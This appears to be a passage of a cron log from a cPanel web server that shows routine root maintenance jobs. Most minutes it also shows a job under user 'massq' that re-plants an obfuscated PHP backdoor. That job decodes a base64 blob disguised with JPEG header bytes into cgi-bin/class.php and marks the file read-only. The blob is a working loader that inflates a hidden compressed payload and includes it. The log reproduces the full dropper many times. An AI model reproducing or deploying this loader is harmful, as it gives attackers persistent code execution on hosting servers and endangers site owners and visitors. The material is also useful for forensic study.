B6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:17:01 server CROND[26098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:18:01 server CROND[26466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:18:01 server CROND[26467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:18:01 server CROND[26468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:19:01 server CROND[26951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:19:01 server CROND[26953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:19:01 server CROND[26952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:20:01 server CROND[27481]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 22:20:02 server CROND[27484]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 22:20:02 server CROND[27486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:20:02 server CROND[27488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:20:02 server CROND[27489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:20:02 server CROND[27490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:20:02 server CROND[27491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:20:02 server CROND[27493]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:20:02 server CROND[27494]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:21:01 server CROND[28314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:21:01 server CROND[28313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:21:01 server CROND[28316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:22:01 server CROND[28679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:22:01 server CROND[28680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:22:01 server CROND[28681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:23:01 server CROND[29055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:23:01 server CROND[29056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:23:01 server CROND[29057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:24:01 server CROND[29419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:24:01 server CROND[29420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:24:01 server CROND[29421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:25:01 server CROND[29895]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:25:01 server CROND[29898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:25:01 server CROND[29897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:25:01 server CROND[29896]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 22:25:01 server CROND[29899]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:25:01 server CROND[29900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:25:01 server CROND[29901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:25:01 server CROND[29902]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:26:01 server CROND[30755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:26:01 server CROND[30756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:26:01 server CROND[30757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:27:01 server CROND[31138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:27:01 server CROND[31139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:27:01 server CROND[31141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:27:01 server CROND[31140]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 22:28:01 server CROND[31525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:28:01 server CROND[31526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:28:01 server CROND[31527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:29:02 server CROND[31903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:29:02 server CROND[31904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:29:02 server CROND[31905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:30:01 server CROND[32285]: (root) CMD (/usr/lib64/sa/sa1 1 1)
